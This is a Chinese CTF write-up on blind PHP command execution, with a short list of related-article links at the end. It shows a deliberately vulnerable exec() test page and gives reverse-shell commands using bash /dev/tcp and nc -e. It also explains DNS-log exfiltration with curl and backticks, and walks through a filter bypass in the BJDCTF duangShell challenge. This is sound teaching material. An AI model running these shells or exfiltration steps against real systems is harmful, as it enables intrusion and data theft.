原文链接:http://arsenetang.com/2021/07/23/RCE%E7%AF%87%E4%B9%8B%E6%97%A0%E5%9B%9E%E6%98%BErce/

RCE篇之无回显rce

2021-07-23

字数统计: 1.8k | 阅读时长≈ 6 分钟

  1. 无回显rce

    1. 1.反弹shell
    2. 2.dnslog外带数据法
    3. 例题解析——-BJDCTF 2nd duangShell

无回显rce

在ctf中,有时会遇到无回显rce,就是说虽然可以进行命令执行,但却看不到命令执行的结果,也不知道命令是否被执行,借着这次总结rce的机会,就把它一起总结了

测试代码如下:

COPY<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
//$b=exec("$a");
//echo $b;
?>

命令执行函数我用的是exec,因为这个函数本身是没有回显的,拿来做测试简直不能再合适,想了解这个函数可以看这里:https://www.php.net/manual/zh/function.exec.php 这里我们直接输入命令是没有回显的:

image.png

我们首先用sleep命令看看命令是否被成功执行了,看下图它转了五秒之后才恢复说明命令是执行了的:

image.png

1.反弹shell

遇到这种无回显的命令执行,很常见的一个思路是反弹shell,因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了

一般来讲我们反弹shell都用的bash -i >& /dev/tcp/ip/port 0>&1这条命令,但这里我不知道哪里出了问题,在docker中可以成功反弹但放到php命令执行中就反弹不了了,所以说无奈之下我就只能使用nc进行反弹,但其实这是很不实用的,因为很多docker中都没有安装nc,这里就先演示一下用nc反弹,利用nc -e /bin/sh ip port进行反弹:

image.png

image.png

可以看到已经反弹成功了,拿到了根目录下的flag哈哈

2.dnslog外带数据法

首先讲讲dns,这里用一个比较官方的解释吧,摘自百度百科:

DNS(域名解析):

域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。

而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping命令或者curl命令哈

然后这里推荐一个dnslog的利用平台:ceye http://ceye.io/,我个人觉得挺好用的,当然大佬们也可以选择自己搭,注册账号之后,会给一个域名,当发起的请求中含有这个域名时,平台就会有记录。好了,铺垫结束,下面正式开始测试:

image.png

还是这一段代码,我们用分号;作为命令的分隔符,然后发起curl请求,然后最后用反引号执行命令,具体如下:

image.png

然后就可以到ceye平台上取看到我们发起的请求了,可以看到whoami的结果也已经在上面显示了出来:

image.png

然后我们就尝试执行其它的命令比如像ls之类的,但这里需要注意的一点是,如果我们直接执行ls的话,它只会返回第一条结果,具体如下图所示:

image.png

image.png

那么为了让它显示出剩余的结果,我们就需要用到linux的sed命令,用sed命令就可以实现对行的完美划分,这里利用题目不是很好演示,我就直接用kali进行演示,就像下图一样直接用就行,还是很方便的:

image.png

这样就可以完成任意的命令执行了,但是值得注意的是,因为有的字符可能会无法显示或者只显示部分信息,所以说执行命令的时候推荐使用base64编码,然后再解开就好:

image.png

image.png

例题解析——-BJDCTF 2nd duangShell

这道题buuctf上可以复现,先用kali恢复swp文件,然后得到源码:

COPY<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>give me a girl</title>
</head>
<body><center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {die("where is P3rh4ps's girl friend ???");
} else {$girl = $_POST['girl_friend'];if (preg_match('/\>|\\\/', $girl)) {die('just girl');} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";} else {//duangShell~~~~exec($girl);}
}

可以看到,这就是一个有过滤情况下的无回显rce,虽然是看起来过滤的比较多,基本思路是反弹shell,但这个靶机在内网操作起来可能有点麻烦,而且像一些重要的比如curl 反引号都没有被过滤掉,所以说我想尝试直接把数据外带出来,先尝试whoami发现没问题:

image.png

image.png

image.png

那就说明除了上面那些被禁的函数以外,可以执行任何命令,不过禁了ls是真的烦,然后由于它禁了$,上篇文章中讲到的找flag的语句cat $(find / -name flag*)就用不了了,我先盲猜一下它在根目录下名字叫flag,试试行不行,cat被过滤掉了我就直接用tac,这个问题不大,发现还真有这个文件:

image.png

image.png

只不过嘛,这个内容就很狗,还要让自己去找flag,那我就试试用find去找,说实话这时候我心里也没底,只能说试试,用的这条语句 find / -name flag

image.png

image.png

不过运气是真的好哈哈哈,直接出来了路径,那就稳了啊,直接读它就完事儿了:

image.png

image.png

出来了出来了,加上{}就是最终的flag,不过我看wp的时候方法都是用反弹shell做的,不知道我这种算不算非预期解,想了解那种方法的可以自行百度,这里也推荐两篇文章:

https://www.extrader.top/posts/c714e372/

https://blog.csdn.net/qq_45521281/article/details/105351352

RCE篇之无回显rce相关推荐

  1. 翻译文章 | Just gopher it!无回显SSRF升级为RCE

    前言: 发现此漏洞的bug bounty团队不允许公开披露,因此我不会直接命名所涉及的程序. 我能说的是,这是在Hackerone运行时间最长.规模最大的bug赏金活动中发现的.多个Hackerone ...

  2. 84.网络安全渗透测试—[SQL注入篇23]—[高级注入技巧-dnslog无回显注入]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.高级注入技巧 dnslog无回显注入 1.原理 2.dnslog平台 3.MySQL dnslog无回显注入 ...

  3. 无回显getshell

    自从打完Geek challenge后发现现在的很多题都趋于一种无回显getshell的形式,像反序列化.SSTI.RCE.代码审计等题目都会出现,记录几道复现出的无回显getshell where_ ...

  4. 浅谈PHP无回显命令执行的利用

    本文首发于先知社区 前言 在CTF题或在一些渗透测试中往往会遇到没有回显的命令执行漏洞,为了能更好的实现对无回显命令执行漏洞的利用,我对此进行了简单总结. 判断方法 命令执行可能会存在命令执行但没有回 ...

  5. python处理回显_Python中getpass模块无回显输入源码解析

    本文主要讨论了python中getpass模块的相关内容,具体如下. getpass模块 昨天跟学弟吹牛b安利Python标准库官方文档的时候偶然发现了这个模块.仔细一看内容挺少的,只有两个主要api ...

  6. 命令执行无回显的一些姿势

    前言 最近演练遇到了拿shell后,由于是延时注入,让我极其难受.于是,学习了一下命令执行无回显的一些姿势 windows环境 1.ping %USERNAME%.2plmqc.dnslog.cn 这 ...

  7. Python实现“按任意键返回”和无回显输入

    功能描述: 在某些应用场景中,需要实现"按任意键返回"这样的功能,在Python中如果使用内置函数input()的话必须有个回车键才表示输入结束,不够完美. 在msvrct标准库中 ...

  8. mysql注入 无回显_33. 注入信息无回显?(给盲注戴上眼镜)

    注入信息无回显?(给盲注戴上眼镜) 工具简介: 平常的漏洞检测或漏洞利用需要进一步的用户或系统交互.但是一些漏洞类型没有直接表明攻击是成功的.如Payload触发了却不在前端页面显示.(像ssrf,X ...

  9. mysql注入 无回显_XML外部实体注入2:无回显的XXE

    生如夏花之绚烂,死如秋叶之静美. -- 泰戈尔 <生如夏花> 0 1 XML基础 XML 首先要先说下 xml.xml 是一种可扩展的标记语言,主要就是用来传输数据的,你可以理解为就是一种 ...

最新文章

  1. xutils使用手册(二)——数据库
  2. mysql 创建job_MySQL 索引创建
  3. SpringMVC+Spring+mybatis
  4. vue 下拉框筛选列表_vue下拉菜单选择输入框_带有下拉菜单的Vue搜索输入可提供更多过滤条件...
  5. 关于html和javascript在浏览器中的加载顺序问题的讨论
  6. 【专升本计算机】专升本计算机期末考试复习题(C卷附答案)
  7. Ubuntu查看文件夹下文件的个数
  8. 一个人如果不学习,30岁就死了,活着的只是重复和应付
  9. 当UINavigationController作为UIViewController之后如何去除上部的空白
  10. 小小的起步VMware vSphere之二
  11. 面试官:你是如何调用 wait() 方法的?使用 if 还是 while?别答错了!
  12. 微信小程序开发--【Hello World 及代码结构】(二)
  13. Java ConcurrentModificationException 异常分析与解决方案
  14. 好工具,不私藏!介绍一个提高效率的利器
  15. java 球弹跳的高度_关于皮球弹跳高度的几个问题
  16. win10家庭版升级到企业版
  17. 刘汉国老师的3路单火智能开关
  18. java 线程休眠 假死,java多线程-jstack线程阻塞问题排查
  19. objectbox No value passed for parameter ‘order‘
  20. pythonidle怎么设置_Python IDLE基本设置

热门文章

  1. android 斜边_撸了一个“可爱”的环形 Android 图表
  2. 【JavaScript】 提取网页内容
  3. ArcGIS新手进阶-ArcMap常用小技巧+工具组件(一)
  4. 从程序员到项目经理(22):以德服人才能口服心服 - 兼谈华为公司狼性管理
  5. 教钢琴安排指法的基本规律有哪些
  6. 详解CorelDRAW中的PostScript填充
  7. jupyter notebook字体、颜色配置
  8. 基于Spring+SpringMvc+Hibernate的咔咔发廊管理系统
  9. 使用centos7.3搭建KMS服务器
  10. 嵌入式开发之zynqMp ---Zynq UltraScale+ MPSoC 图像编码板zcu102